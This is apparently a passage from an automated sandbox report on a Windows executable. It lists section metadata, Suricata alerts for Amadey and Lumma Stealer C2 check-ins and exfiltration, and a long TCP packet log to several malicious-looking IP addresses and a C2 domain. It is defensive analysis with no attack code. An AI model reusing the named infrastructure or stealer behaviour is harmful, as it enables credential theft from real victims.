htmesedz	0x6b000	0x2ba000	0x2b9800	c64cd6f4acce64a22df68f0deea62386	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
umtkotfn	0x325000	0x1000	0x600	179f820ddb0628c4b0e1099d4e5a88be	False	0.619140625	data	5.2954220764099205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x326000	0x3000	0x2200	d94572201e1268d2db307ecfde6f9457	False	0.07065716911764706	DOS executable (COM)	0.8597139308202612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T21:29:04.728850+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49833	31.41.244.11	80	TCP
2024-12-18T21:29:04.728850+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49815	185.215.113.43	80	TCP
2024-12-18T21:29:04.728850+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49822	104.21.66.85	443	TCP
2024-12-18T21:29:04.728850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49822	104.21.66.85	443	TCP
2024-12-18T21:30:05.999771+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49788	185.215.113.43	80	TCP
2024-12-18T21:30:10.730653+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49802	31.41.244.11	80	TCP
2024-12-18T21:30:13.209274+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49801	TCP
2024-12-18T21:30:14.568584+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49803	185.215.113.43	80	TCP
2024-12-18T21:30:16.087271+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49804	31.41.244.11	80	TCP
2024-12-18T21:30:22.807839+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49805	172.67.180.113	443	TCP
2024-12-18T21:30:23.081302+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49806	185.215.113.43	80	TCP
2024-12-18T21:30:24.530757+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49808	31.41.244.11	80	TCP
2024-12-18T21:30:26.833985+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49805	172.67.180.113	443	TCP
2024-12-18T21:30:26.833985+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49805	172.67.180.113	443	TCP
2024-12-18T21:30:28.076743+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49810	172.67.180.113	443	TCP
2024-12-18T21:30:29.277222+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49810	172.67.180.113	443	TCP
2024-12-18T21:30:29.277222+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49810	172.67.180.113	443	TCP
2024-12-18T21:30:29.683452+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.5	64834	1.1.1.1	53	UDP
2024-12-18T21:30:31.105612+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49811	172.67.180.113	443	TCP
2024-12-18T21:30:31.501303+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:31.501303+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:32.288463+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:32.288463+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49812	104.21.66.85	443	TCP
2024-12-18T21:30:33.474320+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49813	172.67.180.113	443	TCP
2024-12-18T21:30:33.544956+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:30:33.544956+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:30:34.287890+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:30:34.287890+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49814	104.21.66.85	443	TCP
2024-12-18T21:30:34.466679+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49813	172.67.180.113	443	TCP
2024-12-18T21:30:36.039333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49816	172.67.180.113	443	TCP
2024-12-18T21:30:38.856335+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49817	172.67.180.113	443	TCP
2024-12-18T21:30:39.250079+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49818	104.21.66.85	443	TCP
2024-12-18T21:30:39.250079+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49818	104.21.66.85	443	TCP
2024-12-18T21:30:40.637397+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49819	31.41.244.11	80	TCP
2024-12-18T21:30:41.494093+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49820	172.67.180.113	443	TCP
2024-12-18T21:30:42.506966+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49821	104.21.66.85	443	TCP
2024-12-18T21:30:42.506966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49821	104.21.66.85	443	TCP
2024-12-18T21:30:45.213698+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49824	172.67.180.113	443	TCP
2024-12-18T21:30:45.549675+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49823	104.21.66.85	443	TCP
2024-12-18T21:30:48.475370+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49825	104.21.66.85	443	TCP
2024-12-18T21:30:48.475370+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49825	104.21.66.85	443	TCP
2024-12-18T21:30:51.122902+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49826	104.21.66.85	443	TCP
2024-12-18T21:30:51.122902+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49826	104.21.66.85	443	TCP
2024-12-18T21:30:51.127540+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49826	104.21.66.85	443	TCP
2024-12-18T21:30:54.712467+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49828	185.215.113.43	80	TCP
2024-12-18T21:30:56.199290+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49829	31.41.244.11	80	TCP
2024-12-18T21:30:56.289695+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.5	49830	104.21.66.85	443	TCP
2024-12-18T21:30:56.289695+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49830	104.21.66.85	443	TCP
2024-12-18T21:31:00.450303+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49830	104.21.66.85	443	TCP
2024-12-18T21:31:03.072644+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49831	185.215.113.43	80	TCP
2024-12-18T21:31:03.130355+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49832	104.21.67.146	443	TCP
2024-12-18T21:31:05.806528+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49834	31.41.244.11	80	TCP
2024-12-18T21:31:19.782817+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.5	49836	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 21:30:04.531481981 CET	49788	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:04.651714087 CET	80	49788	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:04.651801109 CET	49788	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:04.652390003 CET	49788	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:04.771979094 CET	80	49788	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:05.999687910 CET	80	49788	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:05.999771118 CET	49788	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:07.512778044 CET	49788	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:07.513174057 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:07.632647991 CET	80	49788	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:07.632719994 CET	80	49801	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:07.632770061 CET	49788	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:07.632822990 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:07.633079052 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:07.759490013 CET	80	49801	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:09.018536091 CET	80	49801	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:09.018619061 CET	80	49801	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:09.018690109 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:09.251915932 CET	80	49801	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:09.252024889 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:09.256742001 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:09.376964092 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:09.377094030 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:09.377264023 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:09.498980045 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.730556011 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.730653048 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.730698109 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.730710030 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.730746031 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.730770111 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.731194973 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.731206894 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.731219053 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.731242895 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.731311083 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.731928110 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.731940985 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.732022047 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.732022047 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.732043982 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.732059002 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.732130051 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.732130051 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.851905107 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.851977110 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.852121115 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.852176905 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.855848074 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.855907917 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.856039047 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.856091022 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.918723106 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.918906927 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.919044018 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.919044018 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.922897100 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.922970057 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.923070908 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.923130989 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.931349039 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.931405067 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.934609890 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.934669018 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:10.934917927 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:10.934972048 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:13.089036942 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:13.089339018 CET	49803	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:13.209090948 CET	80	49803	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:13.209181070 CET	49803	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:13.209274054 CET	80	49801	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:13.209330082 CET	49801	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:13.209424019 CET	49803	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:13.329567909 CET	80	49803	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:14.564982891 CET	80	49803	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:14.568583965 CET	49803	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:14.620163918 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:14.620450020 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:14.740688086 CET	80	49802	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:14.740703106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:14.740744114 CET	49802	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:14.740787029 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:14.740967989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:14.860476017 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087033987 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087212086 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087222099 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087270975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.087328911 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.087630987 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087649107 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087658882 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.087702990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.087702990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.088407040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.088419914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.088430882 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.088464022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.088491917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.089046955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.089131117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.206917048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.207071066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.207166910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.207166910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.211095095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.211209059 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.211349010 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.211496115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.219542980 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.219615936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.279397964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.279505968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.279599905 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.279937029 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.283607960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.283755064 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.283960104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.284126043 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.290069103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.290194988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.290291071 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.290348053 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.298477888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.298681974 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.298747063 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.298975945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.306783915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.306896925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.306919098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.307241917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.315206051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.315330982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.315892935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.316090107 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.323506117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.323787928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.323996067 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.331945896 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.332138062 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.332223892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.332411051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.340269089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.340311050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.340480089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.340583086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.348773956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.348898888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.349123001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.349184036 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.356029034 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.356254101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.357338905 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.357636929 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.363133907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.363317966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.363475084 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.363533974 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.370446920 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.370529890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.471815109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.471959114 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.471990108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.472044945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.473891020 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.473938942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.474242926 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.474281073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.477524042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.477689981 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.477761984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.481774092 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.481868982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.482348919 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.482430935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.486102104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.486327887 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.486361027 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.486375093 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.490427017 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.490827084 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.490886927 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.495002031 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.495052099 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.495143890 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.495208025 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.499233007 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.499269009 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.499895096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.500009060 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.503360033 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.503496885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.503531933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.503565073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.507508039 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.507822990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.507910013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.507972956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.511805058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.511873007 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.512135029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.512213945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.515978098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.516056061 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.516125917 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.516170025 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.520469904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.520642042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.520694017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.520694017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.524780035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.524791956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.525003910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.525003910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.528498888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.528773069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.528925896 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.532596111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.532670975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.532816887 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.532867908 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.536839962 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.536926031 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.538222075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.538306952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.541100979 CET	80	49804	31.41.244.11	192.168.2.5
